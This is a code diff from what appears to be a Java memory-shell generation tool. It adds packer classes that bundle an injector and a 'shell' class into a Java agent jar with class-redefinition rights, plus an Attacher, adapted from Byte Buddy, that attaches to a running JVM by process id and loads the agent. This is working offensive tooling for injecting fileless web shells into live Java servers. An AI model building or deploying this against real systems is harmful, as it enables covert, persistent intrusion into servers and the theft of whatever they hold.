String dependencyPackage, String relocatePrefix) {
|
String dependencyPackage, String relocatePrefix) {
|
||||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
|
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||||
targetJar.write(processedBytes);
|
targetJar.write(processedBytes);
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String relocatePrefix) {
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||||
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
|
|
||||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
String sourceUrlString = sourceUrl.toString();
|
String sourceUrlString = sourceUrl.toString();
|
||||||
if (sourceUrlString.contains("!BOOT-INF")) {
|
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||||
@@ -120,28 +108,36 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
}
|
}
|
||||||
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||||
}
|
}
|
||||||
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
|
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
while (entries.hasMoreElements()) {
|
while (entries.hasMoreElements()) {
|
||||||
JarEntry entry = entries.nextElement();
|
JarEntry entry = entries.nextElement();
|
||||||
String entryName = entry.getName();
|
String entryName = entry.getName();
|
||||||
if (entryName.startsWith(packageToMove)) {
|
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||||
InputStream entryStream = sourceJar.getInputStream(entry);
|
|| entryName.contains("module-info.class")) {
|
||||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
continue;
|
||||||
if (entryName.endsWith(".class")) {
|
}
|
||||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
if (!entry.isDirectory()) {
|
||||||
if (bytes.length > 0) {
|
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||||
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
|
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
|
if (entryName.endsWith(".class")) {
|
||||||
|
if (bytes.length > 0) {
|
||||||
|
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
targetJar.write(bytes);
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
targetJar.putNextEntry(entry);
|
|
||||||
}
|
}
|
||||||
targetJar.write(bytes);
|
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
entryStream.close();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
sourceJar.close();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
+190
@@ -0,0 +1,190 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.jar.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
public class AgentJarWithJDKAttacherPacker implements JarPacker {
|
||||||
|
private static Path tempBootPath;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
|
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
|
||||||
|
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||||
|
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
|
||||||
|
String relocatePrefix = "shade/";
|
||||||
|
|
||||||
|
Map<String, byte[]> classes = new HashMap<>();
|
||||||
|
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||||
|
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||||
|
classes.putAll(attacherClasses);
|
||||||
|
classes.putAll(virtualMachineClasses);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
|
addDependencies(targetJar, relocatePrefix);
|
||||||
|
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||||
|
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||||
|
String className = entry.getKey();
|
||||||
|
byte[] bytes = entry.getValue();
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(ClassBytesShrink.shrink(bytes, true));
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Manifest createManifest(String agentClass, String mainClass) {
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
|
attributes.putValue("Agent-Class", agentClass);
|
||||||
|
attributes.putValue("Premain-Class", agentClass);
|
||||||
|
attributes.putValue("Main-Class", mainClass);
|
||||||
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
|
return manifest;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||||
|
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||||
|
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||||
|
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||||
|
// Add injector class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getInjectorClassName(),
|
||||||
|
generateResult.getInjectorBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add shell class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getShellClassName(),
|
||||||
|
generateResult.getShellBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add inner classes
|
||||||
|
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
entry.getKey(),
|
||||||
|
entry.getValue(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
|
String dependencyPackage, String relocatePrefix) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||||
|
targetJar.write(processedBytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||||
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
|
String sourceUrlString = sourceUrl.toString();
|
||||||
|
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||||
|
String path = sourceUrlString.substring("jar:nested:".length());
|
||||||
|
path = path.substring(0, path.indexOf("!/"));
|
||||||
|
String[] split = path.split("/!");
|
||||||
|
String bootJarPath = split[0];
|
||||||
|
String internalJarPath = split[1];
|
||||||
|
if (tempBootPath == null) {
|
||||||
|
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||||
|
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||||
|
}
|
||||||
|
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||||
|
}
|
||||||
|
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||||
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry entry = entries.nextElement();
|
||||||
|
String entryName = entry.getName();
|
||||||
|
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||||
|
|| entryName.contains("module-info.class")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!entry.isDirectory()) {
|
||||||
|
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
|
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
|
if (entryName.endsWith(".class")) {
|
||||||
|
if (bytes.length > 0) {
|
||||||
|
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
targetJar.write(bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extracts a JAR file to a temporary directory
|
||||||
|
*
|
||||||
|
* @param jarPath Path to the source JAR file
|
||||||
|
* @param tempPath Path to the temporary directory
|
||||||
|
*/
|
||||||
|
@SneakyThrows
|
||||||
|
public static void unzip(String jarPath, String tempPath) {
|
||||||
|
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||||
|
Enumeration<JarEntry> entries = jarFile.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry jarEntry = entries.nextElement();
|
||||||
|
File targetFile = new File(tempPath, jarEntry.getName());
|
||||||
|
|
||||||
|
if (jarEntry.isDirectory()) {
|
||||||
|
targetFile.mkdirs();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
targetFile.getParentFile().mkdirs();
|
||||||
|
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||||
|
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||||
|
IOUtils.copy(inputStream, outputStream);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+210
@@ -0,0 +1,210 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import com.sun.jna.Platform;
|
||||||
|
import com.sun.jna.platform.DesktopWindow;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.jar.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
public class AgentJarWithJREAttacherPacker implements JarPacker {
|
||||||
|
private static Path tempBootPath;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
|
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
|
||||||
|
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||||
|
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
|
||||||
|
String relocatePrefix = "shade/";
|
||||||
|
|
||||||
|
Map<String, byte[]> classes = new HashMap<>();
|
||||||
|
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||||
|
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||||
|
classes.putAll(attacherClasses);
|
||||||
|
classes.putAll(virtualMachineClasses);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
|
addDependencies(targetJar, relocatePrefix);
|
||||||
|
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||||
|
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||||
|
String className = entry.getKey();
|
||||||
|
byte[] bytes = entry.getValue();
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(ClassBytesShrink.shrink(bytes, true));
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
String[] windowsDll = new String[]{
|
||||||
|
"win32-x86/attach_hotspot_windows.dll",
|
||||||
|
"win32-x86-64/attach_hotspot_windows.dll"
|
||||||
|
};
|
||||||
|
for (String dll : windowsDll) {
|
||||||
|
InputStream stream = this.getClass().getClassLoader().getResourceAsStream(dll);
|
||||||
|
if (stream != null) {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(stream);
|
||||||
|
targetJar.putNextEntry(new JarEntry(dll));
|
||||||
|
targetJar.write(bytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Manifest createManifest(String agentClass, String mainClass) {
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
|
attributes.putValue("Agent-Class", agentClass);
|
||||||
|
attributes.putValue("Premain-Class", agentClass);
|
||||||
|
attributes.putValue("Main-Class", mainClass);
|
||||||
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
|
return manifest;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||||
|
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||||
|
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||||
|
|
||||||
|
String jnaBaseName = Platform.class.getPackage().getName().replace('.', '/');
|
||||||
|
addDependency(targetJar, Platform.class, jnaBaseName, null);
|
||||||
|
addDependency(targetJar, DesktopWindow.class, jnaBaseName, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||||
|
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||||
|
// Add injector class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getInjectorClassName(),
|
||||||
|
generateResult.getInjectorBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add shell class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getShellClassName(),
|
||||||
|
generateResult.getShellBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add inner classes
|
||||||
|
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
entry.getKey(),
|
||||||
|
entry.getValue(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
|
String dependencyPackage, String relocatePrefix) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||||
|
targetJar.write(processedBytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||||
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
|
String sourceUrlString = sourceUrl.toString();
|
||||||
|
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||||
|
String path = sourceUrlString.substring("jar:nested:".length());
|
||||||
|
path = path.substring(0, path.indexOf("!/"));
|
||||||
|
String[] split = path.split("/!");
|
||||||
|
String bootJarPath = split[0];
|
||||||
|
String internalJarPath = split[1];
|
||||||
|
if (tempBootPath == null) {
|
||||||
|
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||||
|
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||||
|
}
|
||||||
|
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||||
|
}
|
||||||
|
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||||
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry entry = entries.nextElement();
|
||||||
|
String entryName = entry.getName();
|
||||||
|
if (entryName.startsWith("META-INF")
|
||||||
|
|| entryName.contains("module-info.class")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!entry.isDirectory()) {
|
||||||
|
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
|
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
|
if (entryName.endsWith(".class")) {
|
||||||
|
if (bytes.length > 0) {
|
||||||
|
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
targetJar.write(bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extracts a JAR file to a temporary directory
|
||||||
|
*
|
||||||
|
* @param jarPath Path to the source JAR file
|
||||||
|
* @param tempPath Path to the temporary directory
|
||||||
|
*/
|
||||||
|
@SneakyThrows
|
||||||
|
public static void unzip(String jarPath, String tempPath) {
|
||||||
|
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||||
|
Enumeration<JarEntry> entries = jarFile.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry jarEntry = entries.nextElement();
|
||||||
|
File targetFile = new File(tempPath, jarEntry.getName());
|
||||||
|
|
||||||
|
if (jarEntry.isDirectory()) {
|
||||||
|
targetFile.mkdirs();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
targetFile.getParentFile().mkdirs();
|
||||||
|
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||||
|
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||||
|
IOUtils.copy(inputStream, outputStream);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+942
@@ -0,0 +1,942 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar.attach;/*
|
||||||
|
* Copyright 2014 - Present Rafael Winterhalter
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.MalformedURLException;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.security.CodeSource;
|
||||||
|
import java.security.PrivilegedAction;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||||
|
*/
|
||||||
|
public class Attacher {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Representation of the bootstrap {@link ClassLoader}.
|
||||||
|
*/
|
||||||
|
private static final ClassLoader BOOTSTRAP_CLASS_LOADER = null;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The character that is used to mark the beginning of the argument to the agent.
|
||||||
|
*/
|
||||||
|
private static final String AGENT_ARGUMENT_SEPARATOR = "=";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The agent provides only {@code static} utility methods and should not be instantiated.
|
||||||
|
*/
|
||||||
|
private Attacher() {
|
||||||
|
throw new UnsupportedOperationException("This class is a utility class and not supposed to be instantiated");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
try {
|
||||||
|
Attacher.attach(args[0]);
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (!e.getMessage().equals("0")) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println("ok");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||||
|
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||||
|
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown. The agent is not provided an argument.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param agentJar The agent jar file.
|
||||||
|
* @param processId The target process id.
|
||||||
|
*/
|
||||||
|
public static void attach(File agentJar, String processId) {
|
||||||
|
attach(agentJar, processId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void attach(String processId) {
|
||||||
|
attach(trySelfResolve(), processId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||||
|
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||||
|
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param agentJar The agent jar file.
|
||||||
|
* @param processId The target process id.
|
||||||
|
* @param argument The argument to provide to the agent.
|
||||||
|
*/
|
||||||
|
public static void attach(File agentJar, String processId, String argument) {
|
||||||
|
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Installs a Java agent on a target VM.
|
||||||
|
*
|
||||||
|
* @param processId The process id of the target JVM process.
|
||||||
|
* @param argument The argument to provide to the agent.
|
||||||
|
* @param agentProvider The agent provider for the agent jar or library.
|
||||||
|
*/
|
||||||
|
private static void install(String processId, String argument, AgentProvider agentProvider) {
|
||||||
|
AttachmentProvider.Accessor attachmentAccessor = AttachmentProvider.DEFAULT.attempt();
|
||||||
|
if (!attachmentAccessor.isAvailable()) {
|
||||||
|
throw new IllegalStateException("No compatible attachment provider is available");
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Class<?> virtualMachineType = attachmentAccessor.getVirtualMachineType();
|
||||||
|
String agent = agentProvider.resolve().getAbsolutePath();
|
||||||
|
Object virtualMachineInstance = virtualMachineType
|
||||||
|
.getMethod("attach", String.class)
|
||||||
|
.invoke(null, processId);
|
||||||
|
try {
|
||||||
|
virtualMachineType
|
||||||
|
.getMethod("loadAgent", String.class, String.class)
|
||||||
|
.invoke(virtualMachineInstance, agent, argument);
|
||||||
|
} finally {
|
||||||
|
virtualMachineType
|
||||||
|
.getMethod("detach")
|
||||||
|
.invoke(virtualMachineInstance);
|
||||||
|
}
|
||||||
|
} catch (RuntimeException exception) {
|
||||||
|
throw exception;
|
||||||
|
} catch (Exception exception) {
|
||||||
|
throw new IllegalStateException("Error during attachment using: " + AttachmentProvider.DEFAULT, exception);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts to resolve the location of the {@link Attacher} class for a self-attachment. Doing so avoids the creation of a temporary jar file.
|
||||||
|
*
|
||||||
|
* @return The self-resolved jar file or {@code null} if the jar file cannot be located.
|
||||||
|
*/
|
||||||
|
private static File trySelfResolve() {
|
||||||
|
try {
|
||||||
|
ProtectionDomain protectionDomain = Attacher.class.getProtectionDomain();
|
||||||
|
if (protectionDomain == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
CodeSource codeSource = protectionDomain.getCodeSource();
|
||||||
|
if (codeSource == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
URL location = codeSource.getLocation();
|
||||||
|
if (!location.getProtocol().equals("file")) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
File file = new File(location.toURI());
|
||||||
|
if (file.getPath().contains(AGENT_ARGUMENT_SEPARATOR)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return file;
|
||||||
|
} catch (URISyntaxException ignored) {
|
||||||
|
return new File(location.getPath());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
